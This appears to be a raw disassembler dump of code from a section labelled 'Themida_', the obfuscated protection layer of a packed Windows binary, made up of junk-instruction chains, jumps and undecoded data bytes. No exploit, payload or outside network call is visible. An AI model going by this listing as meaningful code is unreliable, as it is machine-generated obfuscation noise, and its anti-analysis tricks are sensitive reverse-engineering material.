mov [esp], ecx
push esp
pop ecx
push 6B8Eh
jmp loc_550729
; ---------------------------------------------------------------------------
loc_5521E5: ; CODE XREF: Themida_:0054BE1Aj
add edx, edi
pop edi
push ebp
mov ebp, 4
add edx, ebp
pop ebp
push edx
jmp loc_54A116
; ---------------------------------------------------------------------------
loc_5521F7: ; CODE XREF: Themida_:00555D28j
mov [esp], cx
push esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], ebx
jmp loc_5500EB
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 0C0B95100h, 506BDF34h, 734EA0B8h, 58C10966h, 0A25BE949h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55222E: ; CODE XREF: Themida_:0054EB54j
add edx, 2DC22AC2h
add edx, eax
sub edx, 2DC22AC2h
pop eax
add edx, 3E122E9Ch
push edi
mov edi, 6A8A585Eh
add edx, edi
jmp loc_54B6D3
; ---------------------------------------------------------------------------
dd 0A7B9515Eh, 29D56D29h, 0BE5659CEh, 6D283EEEh, 8146D6F7h
dd 0B3461FF6h, 77EE817Fh, 0C1508642h, 0C68104EEh, 171433C8h
dd 8E9F029h, 8900002Bh, 0DEE92434h, 89FFFFC4h, 0EC832414h
dd 242C8904h, 0BA525D54h, 4, 1717C581h, 0C581562Ch, 35935EB2h
dd 0ED81D501h, 35935EB2h, 0FFBE3CE9h, 24048FFFh, 8324248Bh
dd 43302C0h, 24043124h, 5C240433h, 2424D366h, 43EE99Ch
dd 8B66FFFFh, 54532404h, 5B2434FFh, 5704C483h, 7A210DBFh
dd 6694E934h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5522E6: ; CODE XREF: Themida_:00546C4Fj
mov [esp], esi
jmp loc_54AF09
; ---------------------------------------------------------------------------
dw 0F755h
dd 0A3E92414h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5522F7: ; CODE XREF: Themida_:00545D40j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
jmp loc_557AFD
; ---------------------------------------------------------------------------
loc_55230A: ; CODE XREF: Themida_:00556613j
jmp loc_54270C
; ---------------------------------------------------------------------------
db 8Fh
dd 4832404h, 348B0424h, 4C48124h, 0E9000000h, 0FFFF1679h
dd 83240489h, 8F5404ECh, 4832404h, 48B0424h, 4C48124h
dd 57000000h, 33C868h, 24048900h, 495FE9h, 640B800h, 0BF2D68ACh
dd 0E92E21DAh, 0FFFFBB6Ch, 0FF59692Ch, 34FF2434h, 93C8E924h
dd 83BDFFFFh, 0F732EE63h, 488DE9D5h, 74FF0000h, 0E95B0424h
dd 3EFFh, 240C8B66h, 8904EC83h, 44E92414h
db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55238B: ; CODE XREF: Themida_:005558CAj
pop ebp
jmp loc_554108
; ---------------------------------------------------------------------------
db 0ADh, 31h, 0D8h
dd 105C68h, 240C8900h, 7F5768h, 24148900h, 0C06A8968h
dd 24148B7Fh, 4C481h, 61E90000h, 28FFFF5Ah, 0B65259EBh
dd 0E9C6FE71h, 0FFFFA106h
; ---------------------------------------------------------------------------
loc_5523C4: ; CODE XREF: Themida_:00545CEEj
push edi
mov edi, 89D5E6Dh
inc edi
neg edi
xor edi, 0F9CAADE1h
and edx, edi
pop edi
neg edx
inc edx
jmp loc_5428B5
; ---------------------------------------------------------------------------
loc_5523DE: ; CODE XREF: Themida_:0054FC6Dj
xchg ebp, [esp]
pop esp
mov [esp], esi
push dword ptr [esp+4]
jmp loc_55146E
; ---------------------------------------------------------------------------
dw 0C80Fh
dd 7E1868h, 24048900h, 0FF030FE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5523FD: ; CODE XREF: Themida_:0054D387j
sub ecx, 44B634CDh
pop edx
push 65C5h
mov [esp], esi
push edi
mov edi, 0D05C2Dh
not edi
sub edi, 1E6F6C36h
jmp loc_54A4E0
; ---------------------------------------------------------------------------
db 1
dd 0C70159C8h, 7FE95258h, 59FFFFD4h, 81D1F75Fh, 193EFBE1h
dd 0C8E18112h, 81203F34h, 0ED602CE9h, 0EFC18126h, 0E9F7FFBEh
dd 0FFFFBFA8h, 9D1C77FFh, 1CD25966h, 0B1E99C24h
db 2, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55245B: ; CODE XREF: Themida_:0054AFBDj
push eax
mov eax, 14AC341Dh
push 6787h
jmp loc_550AA2
; ---------------------------------------------------------------------------
db 50h
dd 1A1F24B8h, 7EB60D07h, 78E960E1h, 0ACFFFF51h, 0DFE9AE04h
db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552483: ; CODE XREF: Themida_:0054A907j
mov ecx, 4CCC5F16h
sub ebx, ecx
jmp loc_54E9A7
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 81D6F700h, 219E9BC6h, 5F75E9C1h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5524A2: ; CODE XREF: Themida_:005469F0j
xor edx, 347E033Bh
push edx
jmp loc_5528A0
; ---------------------------------------------------------------------------
dw 6855h
dd 66D3296Ch, 2E5C15Dh, 738CED81h, 0E9898619h, 5755535Dh
dd 0AA1ABABFh, 4A7E96Ch, 0BD68FFFFh, 89000073h, 1DB82404h
dd 813C543Bh, 0BA6956EBh, 92C3811Ah, 811A1F4Bh, 0D56F50C3h
dd 94C38104h, 29770D05h, 94EB81C3h, 81770D05h, 0D56F50EBh
dd 92B95104h, 291A1F4Bh, 9A6859CBh, 89000031h, 56B9240Ch
dd 11ABA69h, 55FE9CBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_55251E: ; CODE XREF: Themida_:0055467Ej
add edx, 4
add edx, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
pop dword ptr [edi+24h]
loc_552536: ; CODE XREF: Themida_:00542D5Aj
push 24AEh
mov [esp], edi
mov edi, esp
push eax
mov eax, 45AD32EBh
or eax, 56363771h
jmp loc_546F12
; ---------------------------------------------------------------------------
loc_552550: ; CODE XREF: Themida_:00545104j
mov eax, ebx
mov ebx, [esp]
add esp, 4
add ebx, eax
mov eax, [esp]
jmp loc_548590
; ---------------------------------------------------------------------------
loc_552565: ; CODE XREF: Themida_:0054A530j
pop ebp
or eax, eax
jz loc_5563EA
push dword ptr [edi+1Ch]
push dword ptr [esp]
mov ecx, [esp]
add esp, 4
push 1E71h
mov [esp], esi
jmp loc_549C81
; ---------------------------------------------------------------------------
loc_552587: ; CODE XREF: Themida_:00547D96j
push esp
pop edi
jmp loc_556F0C
; ---------------------------------------------------------------------------
dw 8159h
dd 2C3h, 241C3300h, 33241C31h, 248B241Ch, 0BB0F6624h, 0E99C2404h
dd 0FFFF0160h
; ---------------------------------------------------------------------------
loc_5525AC: ; CODE XREF: Themida_:0055587Ej
pop edi
jmp loc_555D50
; ---------------------------------------------------------------------------
loc_5525B2: ; CODE XREF: Themida_:00545C10j
push esi
push esp
pop esi
push ecx
push 7665h
mov [esp], ebp
mov ebp, 6B496537h
jmp loc_55504B
; ---------------------------------------------------------------------------
dd 0E904C283h, 2804h, 0E9242C89h, 35FFh, 24048F54h, 9CFAE953h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5525E2: ; CODE XREF: Themida_:0054976Aj
push eax
mov al, 0CAh
xor al, 54h
jmp loc_54E8CF
; ---------------------------------------------------------------------------
dd 0E5613548h, 8150089Ah, 1B4A2404h, 815F6404h, 41B4AEFh
dd 24048B64h, 4C481h, 91050000h, 2D701971h, 5CBD1CB3h
dd 0ECE9F801h, 89FFFF45h, 0E9522404h, 532Eh, 0F8BE5659h
dd 291D6A73h, 0F538E9F1h, 0CDB9FFFFh, 0E95BCF09h, 0FFFF9B1Ah
dd 4BEh, 50B85000h, 0E976DE30h, 0FFFF1A1Bh, 5E2123B9h
dd 30E2E913h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552656: ; CODE XREF: Themida_:00548370j
mov esi, [esp]
jmp loc_542A10
; ---------------------------------------------------------------------------
dw 4BDh
dd 89000000h, 7E95DEFh
db 36h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_55266B: ; CODE XREF: Themida_:0054F538j
add ecx, ebx
pop ebx
not ecx
and ecx, 50E23B85h
sub ecx, 7BF13170h
push ebx
jmp loc_54A55B
; ---------------------------------------------------------------------------
loc_552682: ; CODE XREF: Themida_:00550D01j
xor ecx, 0ADC24BD3h
mov ebx, ecx
jmp loc_551914
; ---------------------------------------------------------------------------
db 81h
dd 4C4h, 4EC8100h, 89000000h, 45B5240Ch, 54F65166h, 59660124h
dd 0ED80CDFEh, 59E8283Ah, 7F04D828h, 4368872Ch, 0E9000011h
dd 0FFFF225Dh, 0A94E981h, 0C9817A78h, 2F2C5390h, 0FFC542E9h
dd 2474FFFFh, 9153E904h, 0FF2DFFFFh, 0E956B0F4h, 0FFFF2A9Ah
dd 42474FFh, 0FF2434FFh, 34FF2434h, 24048B24h, 81E38953h
dd 4C3h, 4C38100h, 87000000h, 835C241Ch, 0EAE904C4h, 55000046h
dd 0EA520ABDh, 802CE97Fh, 15EFFFFh, 0BB5358C1h, 2, 0E95BD901h
dd 0FFFFC0C5h, 3B3A6858h, 34890000h, 81E68924h, 4C6h, 0E43FE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552742: ; CODE XREF: Themida_:0054F00Fj
push ebx
push 4162BC4h
pop ebx
push ebx
xchg ebp, [esp]
not ebp
xchg ebp, [esp]
jmp loc_5529CC
; ---------------------------------------------------------------------------
db 0BFh
dd 55A93F3Fh, 8247C01h, 0E8DCE95Fh, 0C689FFFFh, 22DE958h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55276E: ; CODE XREF: Themida_:00555E6Dj
pop eax
push 4E93h
mov [esp], ecx
push esi
push ecx
mov ecx, 46F36545h
jmp loc_556746
; ---------------------------------------------------------------------------
db 5Ah
dd 8B24048Fh, 9AE92424h, 0E9FFFF3Ch, 0FFFEFF78h, 8904EC83h
dd 0FD682404h, 582E4F30h, 0B6F6252Dh, 7336E90Eh, 4BBFFFFh
dd 0E9000000h, 0FFFF12D7h
; ---------------------------------------------------------------------------
loc_5527B4: ; CODE XREF: Themida_:00551968j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_542833
; ---------------------------------------------------------------------------
dw 3C8Bh
dd 59545124h, 0FF2349E9h, 14C780FFh, 5066C7FEh, 0E730EEB4h
dd 7CE95866h, 0BFFFFF48h, 40692ABCh, 2ECE9h, 28AA0400h
dd 0E9AA2CC8h, 0FFFF56ACh
; ---------------------------------------------------------------------------
loc_5527F4: ; CODE XREF: Themida_:0054AD59j
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], ebp
mov ebp, 15EC774Ch
add ebp, 66E523ECh
push edx
mov edx, 5CDA1383h
sub edx, 0E0CDE646h
or ebp, edx
pop edx
push 2140h
mov [esp], edi
mov edi, 1DF92E85h
jmp loc_550376
; ---------------------------------------------------------------------------
loc_55282E: ; CODE XREF: Themida_:00548ABEj
xor esi, 635653DAh
sub esi, 61BBB52Dh
jmp loc_54F50D
; ---------------------------------------------------------------------------
db 58h
dd 0BE655825h, 2F03252Bh, 0D0F729FBh, 1C620D05h, 0E9C1893Bh
dd 2FCDh
; ---------------------------------------------------------------------------
loc_552858: ; CODE XREF: Themida_:00557289j
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
push ecx
jmp loc_553AB0
; ---------------------------------------------------------------------------
loc_552867: ; CODE XREF: Themida_:005476F3j
pop ecx
sub bl, 0F8h
jmp loc_54362D
; ---------------------------------------------------------------------------
dd 240C8B66h, 637168h, 24348900h, 7D7D68h, 36B6E900h, 0EE01FFFFh
dd 0C6835B5Dh, 24348704h, 0E924248Bh, 0FFFEFE74h
; ---------------------------------------------------------------------------
loc_552898: ; CODE XREF: Themida_:00557AFEj
shr ecx, 7
jmp loc_54DD2E
; ---------------------------------------------------------------------------
loc_5528A0: ; CODE XREF: Themida_:005524A9j
pop ebx
push dword ptr [esp]
pop edx
jmp loc_54AE92
; ---------------------------------------------------------------------------
loc_5528AA: ; CODE XREF: Themida_:0054D072j
mov eax, 70ED5DA7h
jmp loc_54B633
; ---------------------------------------------------------------------------
dd 25158EBAh, 41F3E961h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5528BE: ; CODE XREF: Themida_:005558E2j
push 4135h
jmp loc_5513BB
; ---------------------------------------------------------------------------
dd 5C243C33h, 50242C89h, 4AE9E089h, 81FFFF28h, 0DB7A35C7h
dd 913DE965h, 5BBDFFFFh, 0E9173A47h, 0FFFF5540h
; ---------------------------------------------------------------------------
loc_5528EC: ; CODE XREF: Themida_:005563ABj
sub esp, 4
mov [esp], ebp
mov bp, 1AD8h
sub bp, 3FF3h
shr bp, 7
add bp, 1E8h
push bp
jmp loc_54F3A0
; ---------------------------------------------------------------------------
db 0FFh
dd 2C8B2434h, 98EDE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552916: ; CODE XREF: Themida_:0054BBE4j
pop eax
shr esi, 7
push edx
mov edx, 785F2EE3h
add edx, 78541B60h
dec edx
not edx
inc edx
push esi
mov esi, 54F8476Fh
jmp loc_548ABA
; ---------------------------------------------------------------------------
loc_552935: ; CODE XREF: Themida_:005529C7j
xchg edx, [esp]
mov esp, [esp]
mov [esp], ecx
mov eax, [esp]
jmp loc_54A6BC
; ---------------------------------------------------------------------------
dw 8159h
dd 0E65984F1h, 2E9C17Eh, 333AE9h, 1EEE8000h, 0E947F680h
dd 0FFFFA4E8h, 34E9FA29h
db 4Eh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552967: ; CODE XREF: Themida_:00548C21j
mov ecx, 218F2DBCh
mov ebp, 0DE70D243h
xor ebp, ecx
mov ecx, [esp]
add esp, 4
push ecx
mov ecx, 2F4E5324h
add dword ptr [esp+8], 28253977h
add [esp+8], ecx
sub dword ptr [esp+8], 28253977h
jmp loc_5547E9
; ---------------------------------------------------------------------------
db 68h
dd 37B3h, 52243489h, 0FF125EE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5529A9: ; CODE XREF: Themida_:00545816j
mov ebx, 4
add ecx, ebx
pop ebx
xchg ecx, [esp]
pop esp
shr eax, 18h
xor eax, ecx
push eax
push edx
mov edx, esp
add edx, 4
sub edx, 4
jmp loc_552935
; ---------------------------------------------------------------------------
loc_5529CC: ; CODE XREF: Themida_:00552752j
pop ebx
xor ebx, 6855672Ah
sub ebx, 5512B258h
mov ecx, ebx
pop ebx
sub ecx, 66A3A8Dh
add ecx, ebx
add ecx, 66A3A8Dh
pop ebx
add ebx, 785550FCh
add ebx, ecx
sub ebx, 785550FCh
jmp loc_54EAF4
; ---------------------------------------------------------------------------
loc_5529FE: ; CODE XREF: Themida_:00543956j
push ecx
mov ecx, 4
add ebp, ecx
pop ecx
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
jmp loc_551E8D
; ---------------------------------------------------------------------------
db 66h, 0C1h, 0E1h
dd 0E9816602h, 8166FFFFh, 66DFDEF1h, 6659CF89h, 8B66FA31h
dd 8951243Ch, 4B22E9E1h, 487FFFFh, 24895C24h, 7842E924h
dd 0FE29FFFFh, 0FF8ADBE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552A4D: ; CODE XREF: Themida_:005500CAj
add esp, 4
add eax, 4
push edx
mov edx, 4
add eax, edx
pop edx
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_54CC41
; ---------------------------------------------------------------------------
db 0B8h, 0F0h, 61h
dd 0C6891512h, 0FF58F4E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552A81: ; CODE XREF: Themida_:0055556Cj
mov edi, 21760DF2h
add [esp+8], edi
pop edi
jmp loc_54C7B4
; ---------------------------------------------------------------------------
dd 207F83ADh, 0D6840F00h, 68000020h, 97Ch, 0B9240C89h
dd 4D3A1F2Dh, 0C350E950h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552AAE: ; CODE XREF: Themida_:00555067j
push esp
mov edi, [esp]
jmp loc_552FB8
; ---------------------------------------------------------------------------
db 0FFh
dd 0BE561C77h, 62D55947h, 4247401h, 5024348Bh, 0FF87A6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552ACD: ; CODE XREF: Themida_:0055310Cj
pop dword ptr [esp]
jmp loc_5546EA
; ---------------------------------------------------------------------------
db 29h, 0FAh, 8Bh
dd 8953243Ch, 4C381E3h, 0E9000000h, 0FFFFD662h
; ---------------------------------------------------------------------------
loc_552AE8: ; CODE XREF: Themida_:0054A91Fj
push dword ptr [esp+4]
pop ecx
jmp loc_5446AD
; ---------------------------------------------------------------------------
dw 0C281h
dd 4, 8704EA83h, 248B2414h, 242C8924h, 76B668h, 24048900h
dd 6C26BD55h, 815547D1h, 4ECD2404h, 2D5817B2h, 17B24ECDh
dd 0DEBA525Dh, 1B82E93h, 0C5895AD0h, 8324048Bh, 6C0104C4h
dd 0E95D0424h, 4494h, 5858E228h, 8B66D000h, 90682414h
dd 0E900000Bh, 0FFFF7B06h, 0F281DAF7h, 0F0C0F80Dh, 685AD001h
dd 48B3h, 0FF240489h, 0FF042474h, 81582434h, 4C4h, 24048F00h
dd 23E4685Ch, 2C890000h, 2A8F6824h, 3C890000h, 18F76824h
dd 1BE90000h
db 31h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552B8F: ; CODE XREF: Themida_:00551E06j
add eax, edx
pop edx
push eax
push dword ptr [esp+4]
pop eax
jmp loc_550A1E
; ---------------------------------------------------------------------------
loc_552B9D: ; CODE XREF: Themida_:0054AF85j
add esi, ebp
mov ebp, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5469A2
; ---------------------------------------------------------------------------
loc_552BBA: ; CODE XREF: Themida_:005574BBj
push edi
not dword ptr [esp]
jmp loc_54B99F
; ---------------------------------------------------------------------------
db 57h
dd 0BA16A6BFh, 0A4F78169h, 8969BA16h, 243C8BFAh, 104C483h
dd 24148BD0h, 4C481h, 0BE90000h
db 0Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552BE7: ; CODE XREF: Themida_:0055072Cj
mov ebp, 301C1BC7h
shl ebp, 2
and ebp, 7F616445h
jmp loc_546E76
; ---------------------------------------------------------------------------
dw 0E289h
dd 5BCB850h, 0D0F761E6h, 0FFD1A9E9h, 8BF388FFh, 89572414h
dd 4C781E7h, 81000000h, 4C7h, 243C8700h, 0FF3E8BE9h, 240C89FFh
dd 523DB252h, 0D1883DB2h, 0FFCC3DE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552C35: ; CODE XREF: Themida_:0054DCE6j
sub ebp, ecx
pop ecx
jmp loc_557B3E
; ---------------------------------------------------------------------------
db 5Eh, 0E9h, 6
db 0EFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552C43: ; CODE XREF: Themida_:00557588j
pop ebx
xor ecx, 7E3331FDh
mov esi, ecx
pop ecx
add esi, 0FCB38DEh
and esi, 486A3EDFh
sub esi, 97DB2E19h
or edi, esi
pop esi
jmp loc_542937
; ---------------------------------------------------------------------------
db 89h
dd 8168241Ch, 0E9000051h, 0FFFF8AFBh, 242C335Ch, 0FF229EE9h
dd 0C5815EFFh, 4, 0E9242C87h, 0FFFF7A9Bh, 24048B66h, 6CDB68h
dd 241C8900h, 0E9565B54h, 0FFFF8A01h, 33241C31h, 335C241Ch
dd 2C31242Ch, 162AE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552CB2: ; CODE XREF: Themida_:00544205j
or ebx, ebx
jnz loc_546617
push 1CE5h
mov [esp], edx
jmp loc_5508F0
; ---------------------------------------------------------------------------
db 5
dd 0EF9FC8D5h, 0FFAB4FE9h, 0F6815FFFh, 83EADE7Dh, 0B866851h
dd 14890000h, 89F28924h, 0CA895AD1h, 0FF78F2E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552CED: ; CODE XREF: Themida_:0054B5C8j
inc esi
shr esi, 1
xor esi, 2308CD24h
jmp loc_543A5E
; ---------------------------------------------------------------------------
loc_552CFB: ; CODE XREF: Themida_:00554FA6j
mov [esp], eax
mov ah, 6Eh
jmp loc_547B2D
; ---------------------------------------------------------------------------
db 83h, 0C0h, 4
dd 0FF3135E9h, 0EA0158FFh, 215E68h, 243C8900h, 9E06DEBFh
dd 0FFFA017Ch, 0E95F2434h, 0FFFF7595h, 9030DB9h, 0C183417Ah
dd 2E1C101h, 2414F751h, 83240C8Bh, 0F18104C4h, 17DBF3C7h
dd 34FFCE01h, 240C8B24h, 0FF6E06E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552D51: ; CODE XREF: Themida_:00546742j
mov ah, 0EBh
add bl, ah
pop ax
shl bl, 3
sub bl, 0A8h
add cl, bl
mov ebx, [esp]
add esp, 4
sub esp, 2
jmp loc_5476E1
; ---------------------------------------------------------------------------
a1He db '1Ãh…',9,0
dw 8900h
dd 8DE92404h, 0F7FFFEF9h, 97F381DBh, 0E9356C23h, 0FFFF2CFDh
; ---------------------------------------------------------------------------
loc_552D8C: ; CODE XREF: Themida_:0054CFC7j
neg ecx
sub ecx, 321E4EB5h
jmp loc_54EF42
; ---------------------------------------------------------------------------
db 8Bh, 0Ch, 24h
dd 8904C483h, 0FD0159CFh, 6277E95Fh, 1A2DFFFFh, 5F410B36h
dd 7DCE68h, 7EC8E900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552DBA: ; CODE XREF: Themida_:00544D0Fj
sub ecx, 8777E470h
mov edi, ecx
mov ecx, [esp]
jmp loc_54AFFC
; ---------------------------------------------------------------------------
loc_552DCA: ; CODE XREF: Themida_:00553365j
push ebx
jmp loc_5454E5
; ---------------------------------------------------------------------------
dd 8B240C87h, 4872424h, 0FF665C24h, 0E99C240Ch, 0FFFEF928h
dd 9D1C77FFh, 24041158h, 0F91AE99Ch, 0EC81FFFEh, 4, 0B3241C89h
dd 5BD8003Ch, 0B9E97D2Ch, 80FFFF4Bh, 8850F1EDh, 58E688ECh
dd 81240C8Bh, 4C4h, 66F02800h, 281C045Ah, 6E91E9D8h, 2DADFFFFh
dd 6A570260h, 0DEF68h, 0EA85E900h, 0EFBAFFFFh, 8157F447h
dd 0D0574DF2h, 4AEAD104h, 42E4F281h, 0CA812B35h, 6A1C3EA1h
dd 1AD7F281h, 0BE560DD8h, 56C35F04h, 0C681DEF7h, 1CF55E9Ah
dd 0FF96EE81h, 0EE81C631h, 6AA8652Eh, 0C681D629h, 6AA8652Eh
dd 35E9F287h, 5BFFFFB2h, 0D6685657h, 8B420514h, 0DDE92434h
dd 8FFFFF27h, 0DDE92404h
db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552E97: ; CODE XREF: Themida_:00554BBCj
sub eax, ebx
jmp loc_5539EC
; ---------------------------------------------------------------------------
loc_552E9E: ; CODE XREF: Themida_:00548E7Ej
pop ax
add cl, dh
push dword ptr [esp]
mov edx, [esp]
add esp, 4
jmp loc_54A6E6
; ---------------------------------------------------------------------------
db 68h
dd 26E5h, 0E9242C89h, 0FFFF219Fh, 44E95A54h, 8BFFFFEFh
dd 0C4832404h, 1A266804h, 3E90000h
db 2Fh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552ED7: ; CODE XREF: Themida_:005433ADj
push dword ptr [esp]
jmp loc_54CA7B
; ---------------------------------------------------------------------------
loc_552EDF: ; CODE XREF: Themida_:0054E652j
pop ebx
jmp loc_54AB64
; ---------------------------------------------------------------------------
db 89h, 0E5h, 81h
dd 4C5h, 0BD2EE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_552EF2: ; CODE XREF: Themida_:00557A93j
mov esp, [esp]
and eax, ecx
pop ecx
or eax, eax
jnz loc_5572DA
push 5B6Ah
mov [esp], esi
push 3B177004h
pop esi
shr esi, 7
sub esp, 4
mov [esp], edi
mov edi, 1
add esi, 2BA54067h
sub esi, edi
sub esi, 2BA54067h
jmp loc_546769
; ---------------------------------------------------------------------------
loc_552F32: ; CODE XREF: Themida_:00555A34j
pop esp
jmp loc_54D5E3
; ---------------------------------------------------------------------------
dd 4C481h, 37E90000h, 8BFFFF91h, 0F9E92424h
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_552F4B: ; CODE XREF: Themida_:0054C976j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_55353D
; ---------------------------------------------------------------------------
db 89h, 47h, 24h
dd 56D23158h, 0FF6AF1E9h, 815E54FFh, 4C6h, 2BE95200h, 80FFFF0Ch
dd 0CA28D2C2h, 59D2EA80h, 0E99DC280h, 0FFFF5AF8h, 316C68h
dd 240C8900h, 0FFD9E5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_552F91: ; CODE XREF: Themida_:00557243j
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_54BE47
; ---------------------------------------------------------------------------
dw 8156h
dd 9632434h, 505F5441h, 410963B8h, 0E9C73154h, 0FFFF511Bh
; ---------------------------------------------------------------------------
loc_552FB8: ; CODE XREF: Themida_:00552AB2j
add esp, 4
sub esp, 4
mov [esp], esi
mov esi, 4
sub edi, 536027C5h
add edi, esi
add edi, 536027C5h
pop esi
jmp loc_54A1E1
; ---------------------------------------------------------------------------
db 0BEh, 0B2h, 12h
dd 0F589303Eh, 56DDF75Eh, 8C0345BEh, 5EF52125h, 2F0C581h
dd 0EF0975F3h, 20FDE95Dh, 8B660000h
db 4, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push eax
mov eax, 4
add ebp, eax
pop eax
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebx
push esp
pop ebx
push edi
push eax
mov eax, 65F269C9h
mov edi, eax
pop eax
push ebp
mov ebp, 3C3C1BF3h
xor edi, ebp
mov ebp, [esp]
add esp, 4
push eax
push ebx
jmp loc_5570A9
; ---------------------------------------------------------------------------
dd 4E981h, 0C870000h, 34895C24h, 2474FF24h, 48F5E04h, 0C895C24h
dd 0FCCEE924h, 8404FFFFh, 1FE9C328h
db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_553063: ; CODE XREF: Themida_:00554506j
add ecx, ebx
jmp loc_544DF8
; ---------------------------------------------------------------------------
dw 0EF80h
dd 6AE780BDh, 8084F780h, 0FC308DEFh, 8BE1205Bh, 21E92404h
dd 83FFFFECh, 0C8904ECh, 2563E924h, 0E801FFFFh, 58C7895Dh
dd 422BF068h, 0E981596Eh, 75A07969h, 0C181F929h, 75A07969h
dd 83243C8Bh, 83E904C4h, 80FFFF4Dh, 0C328E0EBh, 0FFAFBAE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5530BD: ; CODE XREF: Themida_:00545D7Bj
add esp, 4
add esi, 4
add esi, 4
jmp loc_548A6D
; ---------------------------------------------------------------------------
dw 4468h
dd 0E900003Bh, 0FFFF78CBh
; ---------------------------------------------------------------------------
loc_5530D8: ; CODE XREF: Themida_:00556928j
pop ecx
push ebx
jmp loc_545440
; ---------------------------------------------------------------------------
db 0D1h
dd 46BE56E8h, 0E91F5A70h, 0FFFF4454h, 7EE95E54h
db 6Bh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5530F3: ; CODE XREF: Themida_:0054C358j
mov [esp], ebp
jmp loc_55355E
; ---------------------------------------------------------------------------
loc_5530FB: ; CODE XREF: Themida_:00556CCDj
xor ecx, ebp
xchg eax, ecx
push 1C98h
mov [esp], ecx
push 6126h
push esp
jmp loc_552ACD
; ---------------------------------------------------------------------------
loc_553111: ; CODE XREF: Themida_:0054B729j
mov [esp], ebp
push ebp
push esp
jmp loc_54D88D
; ---------------------------------------------------------------------------
db 8Bh
dd 0C4812414h, 4, 0FFE1F3E9h, 7CB4BAFFh, 6C814B2Fh, 594E0824h
dd 54294FC1h, 44810824h, 594E0824h, 295A4FC1h, 8104247Ch
dd 0B4042444h, 814B2F7Ch, 0E04246Ch, 8B57FC31h, 0C483243Ch
dd 24040104h, 52565152h, 0FFD0A9E9h, 0E9C280FFh, 283DC280h
dd 3DEA80C2h, 0E9B35350h, 0E95BDC88h, 0FFFFF9BCh, 34FFD121h
dd 2105E924h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_55318A: ; CODE XREF: Themida_:00550189j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
xor edi, [esp]
xor [esp], edi
jmp loc_54A2E8
; ---------------------------------------------------------------------------
loc_5531A7: ; CODE XREF: Themida_:0054BF08j
add eax, esi
add eax, 9C570F6h
jmp loc_54A44B
; ---------------------------------------------------------------------------
loc_5531B3: ; CODE XREF: Themida_:0054AEE4j
pop eax
add esp, 4
jmp loc_54B51D
; ---------------------------------------------------------------------------
loc_5531BF: ; CODE XREF: Themida_:0054BDE7j
push dword ptr [esp]
mov eax, [esp]
jmp loc_54EA84
; ---------------------------------------------------------------------------
dw 34FFh
dd 0DFD8E924h, 0F181FFFFh, 64980248h, 0BF10C181h, 0CBE911EDh
dd 5FFFFF7Bh, 0FF3210E9h, 596852FFh, 5A310057h, 0FFA1BCE9h
dd 243C8BFFh, 4C481h, 53510000h, 0FF2876E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_553205: ; CODE XREF: Themida_:005455AEj
push dword ptr [esp]
pop edi
push 2904h
mov [esp], esi
mov esi, esp
jmp loc_55090D
; ---------------------------------------------------------------------------
dd 53364BFh, 5FFE290Dh, 74FF565Bh, 8F5E0424h, 248B2404h
dd 24040824h, 0F4D6E99Ch
db 0FEh, 0FFh
; ---------------------------------------------------------------------------
